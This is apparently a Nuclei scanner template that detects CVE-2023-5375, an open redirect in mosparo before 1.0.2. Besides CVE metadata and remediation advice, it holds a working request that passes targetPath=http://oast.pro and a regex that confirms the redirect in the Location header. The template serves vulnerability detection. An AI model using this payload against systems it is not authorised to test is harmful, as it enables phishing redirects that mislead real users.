id: CVE-2023-5375

info:
  name: Mosparo < 1.0.2 - Open Redirect
  author: shankaracharya
  severity: medium
  description: |
    Open Redirect in GitHub repository mosparo/mosparo prior to 1.0.2.
  impact: |
    Unauthenticated attackers can exploit open redirect through the targetPath parameter to redirect users to malicious websites for phishing attacks.
  remediation: Update to the latest version of mosparo.
  reference:
    - https://huntr.dev/bounties/3fa2abde-cb58-45a3-a115-1727ece9acb9
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5375
    - https://github.com/mosparo/mosparo/commit/9d5da367b78b8c883bfef5f332ffea26292f99e8
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5375
    cwe-id: CWE-601
    epss-score: 0.33629
    epss-percentile: 0.98221
    cpe: cpe:2.3:a:mosparo:mosparo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mosparo
    product: mosparo
  tags: cve2023,cve,huntr,mosparo,redirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/project/switch/1?targetPath=http://oast.pro"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
# digest: 490a0046304402205300891ec776a01ae1be87549d323f87c18b1d96cbc10262a3233a324142337c022059277257966f98c42873bf6ef4e2373240e69478db0dc1e3944fd33a055c3d7a:922c64590222798bb761d5b6d8e72950